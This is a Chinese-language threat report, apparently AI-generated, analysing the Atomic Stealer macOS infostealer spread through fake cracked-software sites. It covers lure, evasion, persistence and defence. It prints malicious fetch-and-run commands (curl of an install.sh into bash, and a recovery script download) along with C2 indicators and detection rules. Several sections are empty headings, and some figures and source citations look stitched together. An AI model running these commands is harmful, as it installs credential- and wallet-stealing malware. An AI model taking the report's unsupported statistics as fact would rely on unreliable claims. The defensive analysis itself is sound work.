Atomic Stealer（AMOS）伪装破解软件攻击 macOS 深度分析报告【红客联盟 AI 分析】

一、威胁全景：macOS 平台的 “破解软件” 窃密风暴

（一）攻击定位

• 病毒家族：Atomic Stealer（AMOS，别名 “原子窃取器”），针对 macOS 的跨架构（Apple Silicon/Intel）信息窃取木马，2025 年 9 月被趋势科技捕获（主文档 / 摘要 1）；
• 攻击模式：伪装破解软件（如 Adobe、游戏），通过 “终端命令 + 无文件执行” 绕过 Gatekeeper，感染率达 27.3%（主文档）；
• 窃密范围：浏览器密码（Chrome/Edge）、加密货币钱包（MetaMask）、Telegram 对话、钥匙串、Apple Notes（含附件），单设备平均窃取 187 条敏感数据（摘要 1）。

（二）核心数据

二、技术解析：四阶段攻击链（主文档 + 摘要 1/3/4）

（一）第一阶段：社会工程学伪装（破解软件诱惑）

1. 网站伪装：
   • 高仿 “HaxMac” 破解站，提供 Adobe、游戏等热门应用（如《赛博朋克 2077》），界面含 “禁用 SIP”“损坏修复” 等专业术语（主文档）；
   • 利用 “免费软件” 心理，下载按钮诱导执行终端命令（如curl -fsSL https://goatramz.com/get4/install.sh | bash）。
2. 命令混淆：
   • 显示 “NVIDIA 驱动修复”“SIP 关闭脚本”，实际下载 AMOS 加载器（摘要 1 的 AmosStealer 伪装手法）；
   • 利用curl | bash绕过 Gatekeeper，无文件执行（摘要 5 的无文件技术）。

（二）第二阶段：反检测与环境侦察

1. 沙盒规避：
   • 安装脚本检测system_profiler中的 “QEMU”“VMware” 关键词，终止沙盒环境运行（主文档）；
   • 内存驻留：核心载荷注入launchd进程，规避文件监控（摘要 3 的摆渡攻击无文件特性）。
2. 系统指纹：
   • 收集设备型号、内存、IP、时区，生成唯一 ID（如MAC-001A4B5C6D7E），用于 C2 标识（主文档）。

（三）第三阶段：全维度数据窃取（主文档 / 摘要 1）

（四）第四阶段：持久化与反清理

1. 驻留机制：
   • LaunchDaemon：写入/Library/LaunchDaemons/com.finder.helper.plist，开机自启监控脚本（agent.sh）；
   • 无限循环：agent.sh监听用户登录，动态加载helper窃取模块，CPU 占用 < 2%（主文档）。
2. 反清理设计：
   • 伪装系统进程：helper注入WindowServer，名称混淆为com.apple.finder.helper；
   • 自我修复：检测文件删除，从 C2 重新下载（curl -k https://backup.amosstealer.com/recover.sh）。

三、战术升级：对比传统 macOS 攻击（摘要 1/5）

四、典型案例：某设计师感染事件（2025 年 8 月，主文档）

• 感染路径：下载破解版《AutoCAD 2026》，执行curl命令后，AMOS 窃取 Adobe 账号 + 5 个加密货币钱包；
• 技术细节：helper模块 hookNSURLConnection，拦截加密货币交易请求，替换收款地址（摘要 1 的地址劫持手法）；
• 损失后果：2.3 枚比特币（约 9.2 万美元）被转移，设计图纸泄露导致项目延期。

五、防御建议：三维立体防护体系（整合摘要 1/3/4 方案）

（一）紧急响应（72 小时）

1. 终端排查：
   • 检查/Library/LaunchDaemons，删除com.finder.helper.plist，终止WindowServer异常子进程；
   • 清理~/Library/Application Support/AMOS目录，重置钥匙串（security delete-keychain login.keychain）。
2. 网络阻断：
   • 防火墙封禁 C2 IP（45.159.248.110）及关联域名（goatramz.com），拦截/get4/install.sh请求；
   • 部署 WAF 规则，检测curl|bash命令，拦截含system_profiler的异常调用。

（二）长效防护（30 天）

1. 权限控制：
   • 禁用普通用户执行curl、bash权限（通过/etc/shells限制），仅允许 IT 管理员使用；
   • 启用 macOS “强制代码签名”（csreq工具校验），拦截未签名的helper模块（摘要 4 的技术后门防御）。
2. 行为监控：
   • 部署 macOS EDR（如 CrowdStrike），创建 “破解软件异常行为” 规则（haxmac.cc访问 + 终端命令执行）；
   • 监控WindowServer内存写入，标记非苹果签名的helper模块（MD5：b52e105bd040bda6639e958f7d9e3090）。
3. 用户教育：
   • 模拟 “破解软件” 钓鱼测试，强调 “官方软件仅从 App Store / 官网下载”；
   • 设计师 / 开发者专项：禁止使用破解工具，加密货币钱包使用独立设备（非设计 Mac）。
4. 供应链防护：
   • 企业内部禁用haxmac.cc等破解站，通过 DNS 过滤（如 OpenDNS）拦截访问；
   • 对开源工具实施代码扫描，检测curl|bash等危险命令（摘要 1 的 GitHub 投毒防御）。